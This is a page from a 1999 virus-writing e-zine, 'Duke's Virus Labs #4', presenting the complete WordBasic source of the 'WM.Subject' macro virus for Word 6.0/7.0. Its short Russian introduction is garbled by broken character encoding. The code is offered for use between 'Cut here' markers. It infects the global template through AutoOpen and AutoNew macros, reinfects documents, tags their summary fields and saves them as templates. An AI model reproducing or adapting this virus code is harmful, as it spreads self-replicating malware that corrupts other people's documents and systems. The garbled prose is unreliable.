- [Duke's Virus Labs #4] - [Page 12] -

WM.Subject
(c) by Duke/SMF

     : WM.Subject
         : Duke/SMF
 ண.   : WordBasic
 ᮧ : 24.01.99

     -  Word 6.0/7.0 - 祭 쪨  ᮢᥬ 
ᯥ䥪⮢.   ࠡ騩 ! ࠦ  䠩  ࠭.
 ஢  ᥡ 殬 :)
   ⮨  ⢥  AutoOpen (   AutoNew) :

===== Cut here =====
Sub MAIN
On Error Goto ErrorHandler

Fname$ = FileName$()
MacName$ = Fname$ + ":AutoOpen"

FileSummaryInfo .Subject = "Macro.Word.Subject"
FileSummaryInfo .Author = "Duke/SMF"

MacroCopy MacName$, "Global:AutoNew", - 1
MacroCopy MacName$, "Global:AutoOpen", - 1

ErrorHandler:

If IsDocumentDirty() = - 1 Then
  MacroCopy "Global:AutoOpen", MacName$, - 1
End If
FileSaveAs .Format = 1

End Sub
===== Cut here =====
